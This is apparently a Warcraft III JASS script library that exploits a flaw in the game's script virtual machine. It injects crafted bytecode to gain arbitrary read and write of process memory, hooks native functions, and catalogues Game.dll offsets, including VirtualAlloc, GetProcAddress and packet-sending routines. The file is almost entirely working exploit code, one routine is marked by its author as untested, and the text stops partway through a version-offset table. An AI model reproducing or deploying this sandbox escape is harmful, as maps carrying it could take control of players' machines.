function CreateInteger1 takes integer byte1, integer byte2, integer byte3, integer byte4 returns integer
    local integer retval = byte1
    set retval = ( retval * 256 ) + byte2
    set retval = ( retval * 256 ) + byte3
    set retval = ( retval * 256 ) + byte4
    return retval
endfunction

function CreateInteger2 takes integer byte1, integer byte2, integer byte3, integer byte4 returns integer
    local integer retval = byte1
    set retval = ShiftLeftForBytes(retval,1) + byte2
    set retval = ShiftLeftForBytes(retval,1) + byte3
    set retval = ShiftLeftForBytes(retval,1) + byte4
    return retval
endfunction


function Hex2Int takes string s returns integer
    local integer result= 0
    local integer i= 0
    local integer char
    loop
        set char=Char2Hex(SubString(s, i, i + 1))
        exitwhen i == 8 or char == - 1
        set result=result * 16 + char
        set i=i + 1
    endloop
    return result
endfunction


function Int2Hex_FIX takes integer i returns string
    set i = BitwiseNot(i)
    return  HexNumber__Chars[255-(i/256/256/256)] + HexNumber__Chars[255-ModuloInteger(i/256/256,256)] + HexNumber__Chars[255-ModuloInteger(i/256,256)]  +  HexNumber__Chars[255-ModuloInteger(i,256)]
endfunction

function Int2Hex takes integer i returns string
    if (i < 0) then
        return Int2Hex_FIX(i)
    endif
    return  HexNumber__Chars[(i/256/256/256)] + HexNumber__Chars[ModuloInteger(i/256/256,256)] + HexNumber__Chars[ModuloInteger(i/256,256)]  +  HexNumber__Chars[ModuloInteger(i,256)]
endfunction


function HexNumber__onInit takes nothing returns nothing
    set HexNumber__Chars[0]="00"
    set HexNumber__Chars[1]="01"
    set HexNumber__Chars[2]="02"
    set HexNumber__Chars[3]="03"
    set HexNumber__Chars[4]="04"
    set HexNumber__Chars[5]="05"
    set HexNumber__Chars[6]="06"
    set HexNumber__Chars[7]="07"
    set HexNumber__Chars[8]="08"
    set HexNumber__Chars[9]="09"
    set HexNumber__Chars[10]="0A"
    set HexNumber__Chars[11]="0B"
    set HexNumber__Chars[12]="0C"
    set HexNumber__Chars[13]="0D"
    set HexNumber__Chars[14]="0E"
    set HexNumber__Chars[15]="0F"
    set HexNumber__Chars[16]="10"
    set HexNumber__Chars[17]="11"
    set HexNumber__Chars[18]="12"
    set HexNumber__Chars[19]="13"
    set HexNumber__Chars[20]="14"
    set HexNumber__Chars[21]="15"
    set HexNumber__Chars[22]="16"
    set HexNumber__Chars[23]="17"
    set HexNumber__Chars[24]="18"
    set HexNumber__Chars[25]="19"
    set HexNumber__Chars[26]="1A"
    set HexNumber__Chars[27]="1B"
    set HexNumber__Chars[28]="1C"
    set HexNumber__Chars[29]="1D"
    set HexNumber__Chars[30]="1E"
    set HexNumber__Chars[31]="1F"
    set HexNumber__Chars[32]="20"
    set HexNumber__Chars[33]="21"
    set HexNumber__Chars[34]="22"
    set HexNumber__Chars[35]="23"
    set HexNumber__Chars[36]="24"
    set HexNumber__Chars[37]="25"
    set HexNumber__Chars[38]="26"
    set HexNumber__Chars[39]="27"
    set HexNumber__Chars[40]="28"
    set HexNumber__Chars[41]="29"
    set HexNumber__Chars[42]="2A"
    set HexNumber__Chars[43]="2B"
    set HexNumber__Chars[44]="2C"
    set HexNumber__Chars[45]="2D"
    set HexNumber__Chars[46]="2E"
    set HexNumber__Chars[47]="2F"
    set HexNumber__Chars[48]="30"
    set HexNumber__Chars[49]="31"
    set HexNumber__Chars[50]="32"
    set HexNumber__Chars[51]="33"
    set HexNumber__Chars[52]="34"
    set HexNumber__Chars[53]="35"
    set HexNumber__Chars[54]="36"
    set HexNumber__Chars[55]="37"
    set HexNumber__Chars[56]="38"
    set HexNumber__Chars[57]="39"
    set HexNumber__Chars[58]="3A"
    set HexNumber__Chars[59]="3B"
    set HexNumber__Chars[60]="3C"
    set HexNumber__Chars[61]="3D"
    set HexNumber__Chars[62]="3E"
    set HexNumber__Chars[63]="3F"
    set HexNumber__Chars[64]="40"
    set HexNumber__Chars[65]="41"
    set HexNumber__Chars[66]="42"
    set HexNumber__Chars[67]="43"
    set HexNumber__Chars[68]="44"
    set HexNumber__Chars[69]="45"
    set HexNumber__Chars[70]="46"
    set HexNumber__Chars[71]="47"
    set HexNumber__Chars[72]="48"
    set HexNumber__Chars[73]="49"
    set HexNumber__Chars[74]="4A"
    set HexNumber__Chars[75]="4B"
    set HexNumber__Chars[76]="4C"
    set HexNumber__Chars[77]="4D"
    set HexNumber__Chars[78]="4E"
    set HexNumber__Chars[79]="4F"
    set HexNumber__Chars[80]="50"
    set HexNumber__Chars[81]="51"
    set HexNumber__Chars[82]="52"
    set HexNumber__Chars[83]="53"
    set HexNumber__Chars[84]="54"
    set HexNumber__Chars[85]="55"
    set HexNumber__Chars[86]="56"
    set HexNumber__Chars[87]="57"
    set HexNumber__Chars[88]="58"
    set HexNumber__Chars[89]="59"
    set HexNumber__Chars[90]="5A"
    set HexNumber__Chars[91]="5B"
    set HexNumber__Chars[92]="5C"
    set HexNumber__Chars[93]="5D"
    set HexNumber__Chars[94]="5E"
    set HexNumber__Chars[95]="5F"
    set HexNumber__Chars[96]="60"
    set HexNumber__Chars[97]="61"
    set HexNumber__Chars[98]="62"
    set HexNumber__Chars[99]="63"
    set HexNumber__Chars[100]="64"
    set HexNumber__Chars[101]="65"
    set HexNumber__Chars[102]="66"
    set HexNumber__Chars[103]="67"
    set HexNumber__Chars[104]="68"
    set HexNumber__Chars[105]="69"
    set HexNumber__Chars[106]="6A"
    set HexNumber__Chars[107]="6B"
    set HexNumber__Chars[108]="6C"
    set HexNumber__Chars[109]="6D"
    set HexNumber__Chars[110]="6E"
    set HexNumber__Chars[111]="6F"
    set HexNumber__Chars[112]="70"
    set HexNumber__Chars[113]="71"
    set HexNumber__Chars[114]="72"
    set HexNumber__Chars[115]="73"
    set HexNumber__Chars[116]="74"
    set HexNumber__Chars[117]="75"
    set HexNumber__Chars[118]="76"
    set HexNumber__Chars[119]="77"
    set HexNumber__Chars[120]="78"
    set HexNumber__Chars[121]="79"
    set HexNumber__Chars[122]="7A"
    set HexNumber__Chars[123]="7B"
    set HexNumber__Chars[124]="7C"
    set HexNumber__Chars[125]="7D"
    set HexNumber__Chars[126]="7E"
    set HexNumber__Chars[127]="7F"
    set HexNumber__Chars[128]="80"
    set HexNumber__Chars[129]="81"
    set HexNumber__Chars[130]="82"
    set HexNumber__Chars[131]="83"
    set HexNumber__Chars[132]="84"
    set HexNumber__Chars[133]="85"
    set HexNumber__Chars[134]="86"
    set HexNumber__Chars[135]="87"
    set HexNumber__Chars[136]="88"
    set HexNumber__Chars[137]="89"
    set HexNumber__Chars[138]="8A"
    set HexNumber__Chars[139]="8B"
    set HexNumber__Chars[140]="8C"
    set HexNumber__Chars[141]="8D"
    set HexNumber__Chars[142]="8E"
    set HexNumber__Chars[143]="8F"
    set HexNumber__Chars[144]="90"
    set HexNumber__Chars[145]="91"
    set HexNumber__Chars[146]="92"
    set HexNumber__Chars[147]="93"
    set HexNumber__Chars[148]="94"
    set HexNumber__Chars[149]="95"
    set HexNumber__Chars[150]="96"
    set HexNumber__Chars[151]="97"
    set HexNumber__Chars[152]="98"
    set HexNumber__Chars[153]="99"
    set HexNumber__Chars[154]="9A"
    set HexNumber__Chars[155]="9B"
    set HexNumber__Chars[156]="9C"
    set HexNumber__Chars[157]="9D"
    set HexNumber__Chars[158]="9E"
    set HexNumber__Chars[159]="9F"
    set HexNumber__Chars[160]="A0"
    set HexNumber__Chars[161]="A1"
    set HexNumber__Chars[162]="A2"
    set HexNumber__Chars[163]="A3"
    set HexNumber__Chars[164]="A4"
    set HexNumber__Chars[165]="A5"
    set HexNumber__Chars[166]="A6"
    set HexNumber__Chars[167]="A7"
    set HexNumber__Chars[168]="A8"
    set HexNumber__Chars[169]="A9"
    set HexNumber__Chars[170]="AA"
    set HexNumber__Chars[171]="AB"
    set HexNumber__Chars[172]="AC"
    set HexNumber__Chars[173]="AD"
    set HexNumber__Chars[174]="AE"
    set HexNumber__Chars[175]="AF"
    set HexNumber__Chars[176]="B0"
    set HexNumber__Chars[177]="B1"
    set HexNumber__Chars[178]="B2"
    set HexNumber__Chars[179]="B3"
    set HexNumber__Chars[180]="B4"
    set HexNumber__Chars[181]="B5"
    set HexNumber__Chars[182]="B6"
    set HexNumber__Chars[183]="B7"
    set HexNumber__Chars[184]="B8"
    set HexNumber__Chars[185]="B9"
    set HexNumber__Chars[186]="BA"
    set HexNumber__Chars[187]="BB"
    set HexNumber__Chars[188]="BC"
    set HexNumber__Chars[189]="BD"
    set HexNumber__Chars[190]="BE"
    set HexNumber__Chars[191]="BF"
    set HexNumber__Chars[192]="C0"
    set HexNumber__Chars[193]="C1"
    set HexNumber__Chars[194]="C2"
    set HexNumber__Chars[195]="C3"
    set HexNumber__Chars[196]="C4"
    set HexNumber__Chars[197]="C5"
    set HexNumber__Chars[198]="C6"
    set HexNumber__Chars[199]="C7"
    set HexNumber__Chars[200]="C8"
    set HexNumber__Chars[201]="C9"
    set HexNumber__Chars[202]="CA"
    set HexNumber__Chars[203]="CB"
    set HexNumber__Chars[204]="CC"
    set HexNumber__Chars[205]="CD"
    set HexNumber__Chars[206]="CE"
    set HexNumber__Chars[207]="CF"
    set HexNumber__Chars[208]="D0"
    set HexNumber__Chars[209]="D1"
    set HexNumber__Chars[210]="D2"
    set HexNumber__Chars[211]="D3"
    set HexNumber__Chars[212]="D4"
    set HexNumber__Chars[213]="D5"
    set HexNumber__Chars[214]="D6"
    set HexNumber__Chars[215]="D7"
    set HexNumber__Chars[216]="D8"
    set HexNumber__Chars[217]="D9"
    set HexNumber__Chars[218]="DA"
    set HexNumber__Chars[219]="DB"
    set HexNumber__Chars[220]="DC"
    set HexNumber__Chars[221]="DD"
    set HexNumber__Chars[222]="DE"
    set HexNumber__Chars[223]="DF"
    set HexNumber__Chars[224]="E0"
    set HexNumber__Chars[225]="E1"
    set HexNumber__Chars[226]="E2"
    set HexNumber__Chars[227]="E3"
    set HexNumber__Chars[228]="E4"
    set HexNumber__Chars[229]="E5"
    set HexNumber__Chars[230]="E6"
    set HexNumber__Chars[231]="E7"
    set HexNumber__Chars[232]="E8"
    set HexNumber__Chars[233]="E9"
    set HexNumber__Chars[234]="EA"
    set HexNumber__Chars[235]="EB"
    set HexNumber__Chars[236]="EC"
    set HexNumber__Chars[237]="ED"
    set HexNumber__Chars[238]="EE"
    set HexNumber__Chars[239]="EF"
    set HexNumber__Chars[240]="F0"
    set HexNumber__Chars[241]="F1"
    set HexNumber__Chars[242]="F2"
    set HexNumber__Chars[243]="F3"
    set HexNumber__Chars[244]="F4"
    set HexNumber__Chars[245]="F5"
    set HexNumber__Chars[246]="F6"
    set HexNumber__Chars[247]="F7"
    set HexNumber__Chars[248]="F8"
    set HexNumber__Chars[249]="F9"
    set HexNumber__Chars[250]="FA"
    set HexNumber__Chars[251]="FB"
    set HexNumber__Chars[252]="FC"
    set HexNumber__Chars[253]="FD"
    set HexNumber__Chars[254]="FE"
    set HexNumber__Chars[255]="FF"

endfunction

function GetChar takes string s, integer pos returns string
    return SubString(s, pos, pos +1)
endfunction
//library HexNumber ends
//library Memory:


function ReadMemory takes integer address returns integer
    return Memory[address/4] //Inline-friendly
endfunction

function WriteMemory takes integer address, integer value returns nothing
    set Memory[address/4] = value //Inline-friendly
endfunction

function InitBytecode takes integer id, integer k returns nothing
    set l__bytecode[0] = 0x0C010900 //op: 0C(LITERAL), type: 09(integer array), reg: 01,
    set l__bytecode[1] = k //value: 0x2114D008
    set l__bytecode[2] = 0x11010000 //op: 11(SETVAR), reg: 01
    set l__bytecode[3] = id        //id of variable Memory
    set l__bytecode[4] = 0x0C010400 //op: 0C(LITERAL), type: 04(integer), reg: 01, value: 0
    set l__bytecode[6] = 0x27000000 //op: 27(RETURN)

    set l__bytecode[8] = 0x07090000 //op: 07(GLOBAL), type: 09 (integer array) //Create new array
    set l__bytecode[9] = 0x0C5F //name: C5F(“stand”)
    set l__bytecode[10] = 0x0E010400 //op: 0E(GETVAR), type: 04(integer), reg: 01 //Obtain the desired amount of bytes
    set l__bytecode[11] = id+1        //id of variable bytecodedata (variable ids are sequential)
    set l__bytecode[12] = 0x12010100 //op: 12(SETARRAY), index=reg01, value=reg01 //Set index of the array, forcing allocation of memory
    set l__bytecode[13] = 0x0C5F //name: C5F(“stand”)
    set l__bytecode[14] = 0x0E010400 //op: 0E(GETVAR), type: 04(integer), reg: 01 //Read array variable as an integer
    set l__bytecode[15] = 0x0C5F //name: C5F(“stand”)
    set l__bytecode[16] = 0x11010000 //op: 11(SETVAR), reg: 01 //pass the value to the jass world
    set l__bytecode[17] = id+1        //id of variable bytecodedata
    set l__bytecode[18] = 0x27000000 //op: 27(RETURN)
endfunction


private function Typecast takes nothing returns nothing
    local integer bytecode
endfunction

//# +nosemanticerror
function GetBytecodeAddress takes nothing returns integer
    loop
        return l__bytecode
    endloop
    return 0
endfunction

function NewGlobal takes nothing returns integer
    return -0x0C5F0704 //op: 07(GLOBAL), type: 04(integer), name: 0x0C5F("stand")
    return 0x2700 //op: 27(RETURN)
endfunction

function SetGlobal takes nothing returns nothing
    //This will actually set the value of the global variable, not the local
    local integer stand= 0x2114D008
endfunction

//# +nosemanticerror
function UnlockMemory takes nothing returns nothing
    local integer array stand //The execution of this line is skipped
    call ForForce(bj_FORCE_PLAYER[0], I2C(2+C2I(function NewGlobal)))
    call ForForce(bj_FORCE_PLAYER[0], I2C(8+C2I(function SetGlobal)))
//    /*local array "stand" can now read memory, but not write.
//    The bytecode unlocks the ability to read and write memory
//    with the "Memory" array*/
    call InitArray( 0 )
    call InitArray(stand[GetArrayAddress()/4])
    call InitBytecode(stand[C2I(function ReadMemory)/4 + 13], stand[GetArrayAddress()/4+3]+4) //obtain the id of variable "Memory"
    call ForForce(bj_FORCE_PLAYER[0], I2C(stand[GetBytecodeAddress()/4+3])) //run bytecode from the array
endfunction

function malloc takes integer bytes returns integer //I’m not at home, I’m writing this from head without testing, not sure if it works
    set bytecodedata = bytes/4 + 4
    call ForForce(bj_FORCE_PLAYER[0], I2C(Memory[GetBytecodeAddress()/4+3]+32))
    return ( Memory[bytecodedata/4+3] + 4 ) / 4 * 4  //Address of data in the newly created array
endfunction

// addr 0x10000 data 1C 2C 8A 7D 6D 5F 5A 4C 6C 3C 8C 7A
// read memory at 0x10003   ( 7D 6D 5F 5A )

function CreateIntegerFromTwoByOffset takes integer i1, integer i2, integer offset returns integer
    local integer array pBytes
    set pBytes[0] = GetByteFromInteger(i1,4)
    set pBytes[1] = GetByteFromInteger(i1,3)
    set pBytes[2] = GetByteFromInteger(i1,2)
    set pBytes[3] = GetByteFromInteger(i1,1)
    set pBytes[4] = GetByteFromInteger(i2,4)
    set pBytes[5] = GetByteFromInteger(i2,3)
    set pBytes[6] = GetByteFromInteger(i2,2)
    set pBytes[7] = GetByteFromInteger(i2,1)
    return CreateInteger1(pBytes[offset+3],pBytes[offset+2],pBytes[offset+1],pBytes[offset+0])
endfunction


function CreateDoubleIntegerAndGetOne takes integer i1, integer i2, integer value, integer offset, boolean first returns integer
    local integer array pBytes
    set pBytes[0] = GetByteFromInteger(i1,4)
    set pBytes[1] = GetByteFromInteger(i1,3)
    set pBytes[2] = GetByteFromInteger(i1,2)
    set pBytes[3] = GetByteFromInteger(i1,1)
    set pBytes[4] = GetByteFromInteger(i2,4)
    set pBytes[5] = GetByteFromInteger(i2,3)
    set pBytes[6] = GetByteFromInteger(i2,2)
    set pBytes[7] = GetByteFromInteger(i2,1)

    set pBytes[offset] = GetByteFromInteger(value,4)
    set pBytes[offset+1] = GetByteFromInteger(value,3)
    set pBytes[offset+2] = GetByteFromInteger(value,2)
    set pBytes[offset+3] = GetByteFromInteger(value,1)

    if (first) then
        return CreateInteger1(pBytes[3],pBytes[2],pBytes[1],pBytes[0])
    else
        return CreateInteger1(pBytes[7],pBytes[6],pBytes[5],pBytes[4])
    endif
endfunction


function ReadRealMemory_FIX takes integer addr returns integer
    local integer ByteOffset = addr - ( addr / 4 * 4 )
    local integer FirstAddr = addr - ByteOffset
    return CreateIntegerFromTwoByOffset(Memory[FirstAddr/4],Memory[FirstAddr/4+1], ByteOffset)
endfunction

function ReadRealMemory takes integer addr returns integer
    if addr/4*4!=addr then
        call BJDebugMsg("ReadMemory WARNING! : " + Int2Hex(addr))
        return ReadRealMemory_FIX(addr)
    endif
    return Memory[addr/4]
endfunction



function WriteRealMemory_FIX takes integer addr, integer val returns nothing
    local integer Int_1
    local integer Int_2
    local integer ByteOffset = addr - ( addr / 4 * 4 )
    local integer FirstAddr = addr - ByteOffset
    set Int_1 = ReadRealMemory(FirstAddr)
    set Int_2 = ReadRealMemory(FirstAddr + 4)
    set Memory[FirstAddr/4] = CreateDoubleIntegerAndGetOne ( Int_1, Int_2, val, ByteOffset, true)
    set Memory[FirstAddr/4 + 1] = CreateDoubleIntegerAndGetOne ( Int_1, Int_2, val, ByteOffset, false)
endfunction

function WriteRealMemory takes integer addr, integer val returns nothing
    if addr/4*4!=addr then
        call BJDebugMsg("WriteMemory WARNING! : " + Int2Hex(addr) )
        call WriteRealMemory_FIX(addr,val)
    else
        set Memory[addr/4] = val
    endif
endfunction

// read Game.dll + real offset
function ReadOffset takes integer i returns integer
    return ReadRealMemory(GameDLL+i)
endfunction

function ReadOffsetUnsafe takes integer i returns integer
    return  Memory[(GameDLL+i)/4]
endfunction

function ReadRealPointer1LVL takes integer addr, integer offset1 returns integer
    local integer retval = 0
    if addr > 0 then
        set retval = ReadRealMemory(addr)
        if addr > 0 then
            set retval = ReadRealMemory(retval + offset1)
        else
            set retval = 0
        endif
    endif
    return retval
endfunction

function WriteRealPointer1LVL takes integer addr, integer offset1, integer val returns nothing
    local integer retval = 0
    if addr > 0 then
        set retval = ReadRealMemory(addr)
        if addr > 0 then
            call WriteRealMemory(retval + offset1,val)
        endif
    endif
endfunction

function ReadRealPointer2LVL takes integer addr, integer offset1, integer offset2 returns integer
    local integer retval = ReadRealPointer1LVL(addr,offset1)
    if retval > 0 then
        set retval = ReadRealMemory(retval + offset2)
    else
        set retval = 0
    endif
    return retval
endfunction

function WriteRealPointer2LVL takes integer addr, integer offset1, integer offset2, integer val returns nothing
    local integer retval = 0
    if addr > 0 then
        set retval = ReadRealPointer1LVL(addr,offset1)
        if addr > 0 then
            call WriteRealMemory(retval + offset2,val)
        endif
    endif
endfunction

function ReadRealPointer3LVL takes integer addr, integer offset1, integer offset2, integer offset3 returns integer
    local integer retval = ReadRealPointer2LVL(addr,offset1,offset2)
    if retval > 0 then
        set retval = ReadRealMemory(retval + offset3)
    else
        set retval = 0
    endif
    return retval
endfunction

function WriteRealPointer3LVL takes integer addr, integer offset1, integer offset2,integer offset3, integer val returns nothing
    local integer retval = 0
    if addr > 0 then
        set retval = ReadRealPointer2LVL(addr,offset1,offset2)
        if addr > 0 then
            call WriteRealMemory(retval + offset3,val)
        endif
    endif
endfunction

function ReadRealPointer4LVL takes integer addr, integer offset1, integer offset2, integer offset3, integer offset4 returns integer
    local integer retval = ReadRealPointer3LVL(addr,offset1,offset2,offset3)
    if retval > 0 then
        set retval = ReadRealMemory(retval + offset4)
    else
        set retval = 0
    endif
    return retval
endfunction

function WriteRealPointer4LVL takes integer addr, integer offset1, integer offset2,integer offset3, integer offset4, integer val returns nothing
    local integer retval = 0
    if addr > 0 then
        set retval = ReadRealPointer3LVL(addr,offset1,offset2,offset3)
        if addr > 0 then
            call WriteRealMemory(retval + offset4,val)
        endif
    endif
endfunction

function ReadRealPointer5LVL takes integer addr, integer offset1, integer offset2, integer offset3, integer offset4, integer offset5 returns integer
    local integer retval = ReadRealPointer4LVL(addr,offset1,offset2,offset3,offset4)
    if retval > 0 then
        set retval = ReadRealMemory(retval + offset5)
    else
        set retval = 0
    endif
    return retval
endfunction

function WriteRealPointer5LVL takes integer addr, integer offset1, integer offset2,integer offset3, integer offset4,integer offset5, integer val returns nothing
    local integer retval = 0
    if addr > 0 then
        set retval = ReadRealPointer4LVL(addr,offset1,offset2,offset3,offset4)
        if addr > 0 then
            call WriteRealMemory(retval + offset5,val)
        endif
    endif
endfunction

function IsJassNativeExists takes integer nativeaddress returns boolean
    //local integer FirstAddress = Memory[Memory[Memory[pJassEnvAddress]/4+0x5]/4+8]/4
    local integer FirstAddress = ReadRealPointer2LVL(pJassEnvAddress*4, 0x14, 0x20)/4
    local integer NextAddress = FirstAddress
    local integer i = 0
    loop
        if Memory[NextAddress+3]/4 == nativeaddress then
            return NextAddress+3 > 0
        endif
   
        set NextAddress = Memory[NextAddress]/4
        if NextAddress == FirstAddress or NextAddress == 0 then
            return false
        endif
    endloop
    return false
endfunction


function CreateJassNativeHook takes integer oldaddress, integer newaddress returns integer
    //[[[[Game.dll+ADA848]+14]+20]
    //local integer FirstAddress = Memory[Memory[Memory[pJassEnvAddress]/4+0x5]/4+8]/4
    local integer FirstAddress = ReadRealPointer2LVL(pJassEnvAddress*4, 0x14, 0x20)
    local integer NextAddress = FirstAddress

    local integer i = 0

    if RJassNativesBufferSize > 0 then
        loop
            set i = i + 1
       
            if RJassNativesBuffer[  i * 3 - 3 ] == oldaddress or RJassNativesBuffer[ i * 3 - 2 ] == oldaddress or RJassNativesBuffer[  i * 3 - 3 ] == newaddress or RJassNativesBuffer[  i * 3 - 2 ] == newaddress then
                call WriteRealMemory(RJassNativesBuffer[ i  * 3 - 1 ], newaddress)
                //call BJDebugMsg("Loaded from buffset.")
                return RJassNativesBuffer[ i * 3 - 1 ]
            endif
       
            exitwhen i == RJassNativesBufferSize
        endloop
    endif

    loop
        if ReadRealMemory(NextAddress+12) < 0x3000 then
            return 0
        endif
        if ReadRealMemory(NextAddress+12) == oldaddress then
            call WriteRealMemory(NextAddress+12, newaddress)
       
            // Maximum store 100 values for fast load
            if RJassNativesBufferSize < 100 then
                set RJassNativesBufferSize = RJassNativesBufferSize + 1
                set RJassNativesBuffer[ RJassNativesBufferSize  * 3 - 1 ] = NextAddress + 12
                set RJassNativesBuffer[ RJassNativesBufferSize  * 3 - 2 ] = oldaddress
                set RJassNativesBuffer[ RJassNativesBufferSize  * 3 - 3 ] = newaddress
            endif
       
            return NextAddress+12
        endif
   
        set NextAddress = ReadRealMemory(NextAddress)
        if NextAddress == FirstAddress or NextAddress == 0 then
            return 0
        endif
    endloop
    return 0
endfunction

function Init27 takes nothing returns nothing
    local integer base
    set GameDLL = ReadRealMemory(GetBytecodeAddress())-0xA63B30
    set base=GameDLL / 4
    set GameState = base + 0x2F908E
    set pGameClass1 = base + 0x2F902A
    set pGameClass2 = base + 0xBE6350 / 4
    set pCGameState = base + 0xBE4EAC / 4
   
    set pointers = Memory[pGameClass1]/4
    set pUnitData = GameDLL + 0xBEC48C
    set pAbilityData = GameDLL + 0xBECD44

    set pGlobalPlayerClass = GameState //They are the same thing

    set pUnitMaxSpeedConstant = base + 0xBEC454 / 4
    set pUnitMinSpeedConstant = base + 0xBEC450 / 4
    set pBuildingMaxSpeedConstant = base + 0xBEC45C / 4
    set pBuildingMinSpeedConstant = base + 0xBEC458 / 4

    set pUnitMaxSpeedConstantD = base + 0xBEC464 / 4
    set pUnitMinSpeedConstantD = base + 0xBEC460 / 4
    set pBuildingMaxSpeedConstantD = base + 0xBEC46C / 4
    set pBuildingMinSpeedConstantD = base + 0xBEC468 / 4

    set pUnitUIDefAddr = GameDLL + 0xBE6130
    set pUnitDataDefAddr = pUnitData// base + 0xBEC48C / 4

    set pAbilityUIDefAddr = GameDLL + 0xBE6158
    set pAbilityDataDefAddr = pAbilityData//base + 0xBECD44 / 4

    set pAttackSpeedLimit = base + 0xBE7A04 / 4
    set pAttackTimeLimit = base + 0xb593a0 / 4


    set pJassEnvAddress = base + 0xBE3740 / 4
    set pLightEnv = base + 0xBEE150 / 4
    set pGameClass3 = base + 0xBB9D8C / 4

    set pTimerAddr = base + 0xBB82BC / 4


    set pGetModuleHandle = base + 0x94E184 / 4
    set pGetProcAddress = base + 0x94E168 / 4
    set pVirtualAlloc = base + 0x94E270 / 4

   
    set pMergeUnits = GameDLL + 0x891F20
    set pIgnoredUnits = GameDLL + 0x890FB0
    set pConvertUnits = GameDLL + 0x88E350
    set pLeaderboardSetItemLabelColor = base + 0x1EFF90 / 4

    set pExportFromMpq = GameDLL + 0x702C50
    set pGetFrameItemAddress = GameDLL + 0x09EF40
    set pGetFrameSkinAddress = GameDLL + 0x324AD0
    set pGetFrameTextAddress = GameDLL + 0x0C8EF0
    set pUpdateFrameText = GameDLL + 0x0C1020

    set pFrameDefClass = GameDLL + 0xBB9CFC

    set pPacketClass = GameDLL + 0x973210
    set pPacketSend = GameDLL + 0x30F1B0


    set pConvertString = GameDLL + 0x1DA520

    set pStorm279 = base + 0x94E6C4 / 4

    set pPrintText1 = GameDLL + 0x3574B0
    set pPrintText2 = GameDLL + 0x356A60
    set pPrintText3 = GameDLL + 0xc2070

    set pChangeFont = GameDLL + 0x153E10

    set pCameraDefaultHeight = base + 0x9714D0 / 4

    set pPingMinimapOffset = GameDLL + 0x1F1BD0
    set pPingMinimapExOffset = GameDLL + 0x1F1C30

    set pAllianceOutput = GameDLL + 0x34E2C0

    set pWindowIsActive = base + 0xB673EC / 4
    set pSendCommandWithoutTarget = GameDLL + 0x3AE4E0
    set pMissile = base + 0xBED23C / 4


    set pOrder1_offset = GameDLL + 0x3AE4E0
    set pOrder2_offset = GameDLL + 0x3AE540
    set pOrder3_offset = GameDLL + 0x3AE5D0
    set pOrder4_offset = GameDLL + 0x3AE660
    set pOrder5_offset = GameDLL + 0x3AE6F0
    set pOrder6_offset = GameDLL + 0x3AE780
    set pOrder7_offset = GameDLL + 0x3AE810
    set pOrder8_offset = GameDLL + 0x3AE880
       
    set Order1_lockedvalue = 0x900010C2
    set Order2_lockedvalue = 0x900018C2
    set Order3_lockedvalue = 0x900020C2
    set Order4_lockedvalue = 0x90001CC2
    set Order5_lockedvalue = 0x90001CC2
    set Order6_lockedvalue = 0x900020C2
    set Order7_lockedvalue = 0x900014C2
    set Order8_lockedvalue = 0x900014C2
   
    set pStartAbilityCD = GameDLL + 0x62D4C0

    set pUpdateFogManual = GameDLL + 0x26B600

    set pFogUpdateBlockAddr = base  + 0x26B5A8 / 4
    set pFogUpdateBlockAddrNew1 = 0xC25D0004
    set pFogUpdateBlockAddrNew2 = 0xB8900004

    set OPLimitAddress1=GameDLL+0x1BFB48
    set OPLimitAddress2=GameDLL+0x1BFB4C

    set pCycloneFixCondition=GameDLL+0x65B3F0


    set pCaptionsOverTheCreeps=GameDLL+0x3B4180

    set pPhaseShiftInvisibilityFlagByte=GameDLL+0x7ffdb8

    set pGetUnitAbility = GameDLL + 0x46F440
    set pGetUnitAddress = GameDLL + 0x1D1550

    set p_sprintf = GameDLL + 0x94E464

    set pMemcpy = GameDLL + 0x94E468
    set pSearchStringValue = GameDLL + 0x06B030
    set pSearchStringAddr1 = GameDLL + 0xBB9CD4
    set pSearchStringAddr2 = GameDLL + 0xBB9CAC

    set pSimulateAttackInstance = GameDLL + 0x476F80
    set pGameTime = GameDLL + 0xBE3D70


    set pSetStunToUnitTRUE = GameDLL+0x66B600
    set    pSetStunToUnitFALSE = GameDLL+0x65AE60

    set pCommonSilence=GameDLL+0x471C40
    set pAddSilenceOnAbility=GameDLL+0x3E9FA0
    set pRemoveSilenceFromAbility=GameDLL+0x3EE3C0
    set pPauseUnitDisabler=GameDLL+0x46F180

    set pUpdateUnitsSpeedCurrent=GameDLL+0x10C690

    set pCastSilenceToTarget=GameDLL+0x3DA3C0

    set pCastAbility=GameDLL+0x3ECB70

    set pDamageBlockIllusionCheck=GameDLL+0x4E3040

    set pItemDropOrderTriggerFix=GameDLL+0x65D520//9090f03b

    set pGetOrLoadFile = GameDLL + 0x4A800

    set StoreIntegerOffset = GameDLL + 0x1F8280

    set pUnitVtable = GameDLL + 0xA4A704
    set pRealUnitDamageHandler = GameDLL + 0x67DC40
    set pTriggerExecute = GameDLL + 0x1F9100


    set pMissileFuncStart = GameDLL+0x476F80
    set pMissileJumpBack = GameDLL+0x476F85
    set pItemDataNode=GameDLL+0xBEC254+0x10

    set GameVersion = 0x27a
endfunction

function Init26 takes nothing returns nothing
    local integer base
    set GameDLL = ReadRealMemory(GetBytecodeAddress())-0x951060
    set base=GameDLL / 4
    set GameState = base+0x2AD97D
    set pGameClass1 = base+0x2ADDE2
    set pGameClass2 = base + 0xAB4F80 / 4
    set pCGameState = base + 0xAB6EA4 / 4

    set pointers = Memory[pGameClass1]/4
    set pUnitData = GameDLL + 0xAB4478
    set pAbilityData = GameDLL + 0xAB3E64

    set pGlobalPlayerClass = GameState //base + 0xAB65F4 / 4

    set pUnitMaxSpeedConstant = base + 0xAB4440 / 4
    set pUnitMinSpeedConstant = base + 0xAB443C / 4
    set pBuildingMaxSpeedConstant = base + 0xAB4448 / 4
    set pBuildingMinSpeedConstant = base + 0xAB4444 / 4

    set pUnitMaxSpeedConstantD = base + 0xAB4450/ 4
    set pUnitMinSpeedConstantD = base + 0xAB444C / 4
    set pBuildingMaxSpeedConstantD = base + 0xAB4458 / 4
    set pBuildingMinSpeedConstantD = base + 0xAB4454 / 4

    set pUnitUIDefAddr = GameDLL + 0xAB58F0
    set pUnitDataDefAddr = pUnitData

    set pAbilityUIDefAddr = GameDLL + 0xAB5918
    set pAbilityDataDefAddr = pAbilityData

    set pAttackSpeedLimit = base + 0xAB0074 / 4
    set pAttackTimeLimit = base + 0xAAE484 / 4


    set pJassEnvAddress = base + 0xADA848 / 4
    set pLightEnv = base + 0xAAE788 / 4
    set pGameClass3 = base + 0xACE670 / 4

    set pTimerAddr = base + 0xAB7368 / 4


    set pGetModuleHandle = base + 0x86D1D0 / 4
    set pGetProcAddress = base + 0x86D280 / 4
    set pVirtualAlloc = base + 0x86D0F4 / 4


    set pMergeUnits = GameDLL + 0x2DD320
